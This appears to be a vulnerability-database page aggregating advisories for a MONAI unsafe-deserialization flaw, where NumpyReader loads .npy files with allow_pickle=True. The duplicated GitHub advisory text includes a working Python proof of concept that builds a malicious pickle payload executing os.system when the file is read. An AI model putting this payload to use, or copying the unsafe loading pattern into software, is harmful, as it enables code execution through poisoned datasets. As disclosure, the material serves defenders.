CVE-2026-100845
MONAI before 1.6.0 Remote Code Execution via NumpyReader
MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.5
MONAI before 1.6.0 Remote Code Execution via NumpyReader
MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.
- Record
CVE-2026-100845- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2026-87843
8.5
MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.
- Record
EUVD-2026-87843- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4jj3-3266-2688
8.5
MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that...
MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.
- Record
GHSA-4jj3-3266-2688- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-wg9g-w2j2-8pgr
7.8
MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files
Summary
The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").
Details
Vulnerable code (permalink):
# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)
The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.
The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.
Compare with safe practices in the same project:
The MONAI project has already addressed similar deserialization issues in other code paths:
torch.loadcalls now useweights_only=True(after GHSA-6vm5-6jv9-rjpj)PersistentDatasetdefaults toweights_only=True(line 272-275 of dataset.py)
However, NumpyReader was not included in these security improvements.
Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):
# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile) # allow_pickle defaults to False
This inconsistency shows that NumpyReader was overlooked during security hardening.
The user cannot override this behavior:
# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.
The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.
Data flow:
- User creates a data pipeline with
LoadImagetransform or uses any MONAI dataset class - A
.npyor.npzfile is provided as input (e.g., as part of a shared medical dataset) LoadImageselectsNumpyReaderbased on file extensionNumpyReader.read()callsnp.load(name, allow_pickle=True)- Malicious pickle payload in the
.npyfile executes arbitrary code
PoC
#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)
# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)
# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
os.remove(proof)
os.remove(malicious_npy)
os.rmdir(tmpdir)
Output:
[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed
Impact
An attacker can achieve arbitrary code execution on any machine running MONAI by:
- Dataset poisoning: Placing a malicious
.npyfile in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard…
- Record
GHSA-wg9g-w2j2-8pgr- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
8.5
MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.
- Record
CVE-2026-100845- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
8.5
MONAI before 1.6.0 Remote Code Execution via NumpyReader
MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.
- Record
CVE-2026-100845- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVGHSA-wg9g-w2j2-8pgr
7.8
MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files
Summary
The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").
Details
Vulnerable code (permalink):
# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)
The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.
The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.
Compare with safe practices in the same project:
The MONAI project has already addressed similar deserialization issues in other code paths:
torch.loadcalls now useweights_only=True(after GHSA-6vm5-6jv9-rjpj)PersistentDatasetdefaults toweights_only=True(line 272-275 of dataset.py)
However, NumpyReader was not included in these security improvements.
Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):
# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile) # allow_pickle defaults to False
This inconsistency shows that NumpyReader was overlooked during security hardening.
The user cannot override this behavior:
# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.
The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.
Data flow:
- User creates a data pipeline with
LoadImagetransform or uses any MONAI dataset class - A
.npyor.npzfile is provided as input (e.g., as part of a shared medical dataset) LoadImageselectsNumpyReaderbased on file extensionNumpyReader.read()callsnp.load(name, allow_pickle=True)- Malicious pickle payload in the
.npyfile executes arbitrary code
PoC
#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)
# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)
# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
os.remove(proof)
os.remove(malicious_npy)
os.rmdir(tmpdir)
Output:
[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed
Impact
An attacker can achieve arbitrary code execution on any machine running MONAI by:
- Dataset poisoning: Placing a malicious
.npyfile in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard…
- Record
GHSA-wg9g-w2j2-8pgr- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVPYSEC-2026-4020
8.5
MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allow_pickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.
- Record
PYSEC-2026-4020- CVSS 4.0
- 8.5 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
monaiPyPI |
before 1.6.0 | 1.6.0 |
monaiPyPI |
before 1.6.0, plus listed versions 0.0.10.1.00.2.00.3.00.4.0 Show 38 moreShow less0.5.00.5.10.5.20.5.30.6.00.7.00.8.00.8.10.9.00.9.11.0.01.0.11.1.01.2.01.3.01.3.11.3.21.3.2rc11.3.3rc11.4.01.4.0rc11.4.0rc101.4.0rc111.4.0rc121.4.0rc21.4.0rc31.4.0rc41.4.0rc51.4.0rc61.4.0rc71.4.0rc81.4.0rc91.4.1rc11.5.01.5.0rc11.5.11.5.21.5.2rc1 |
1.6.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-100845 is a high vulnerability (CVSS 8.5) in Project-monai Monai, published August 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 10th percentile. Fixed in monai 1.6.0.
References
github.com/Project-MONAI/MONAI/security/advisories/GHSA-wg9g-w2j2-8pgr
vulncheck.com/advisories/monai-before-1.6.0-remote-code-execution-via-numpyreader
nvd.nist.gov/vuln/detail/CVE-2026-100845
github.com/advisories/GHSA-4jj3-3266-2688
github.com/Project-MONAI/MONAI/pull/8875
github.com/Project-MONAI/MONAI/releases/tag/1.6.0
github.com/advisories/GHSA-wg9g-w2j2-8pgr
github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100845.json
github.com/Project-MONAI/MONAI
Left out here: the rest of 2 source descriptions. The JSON record has them.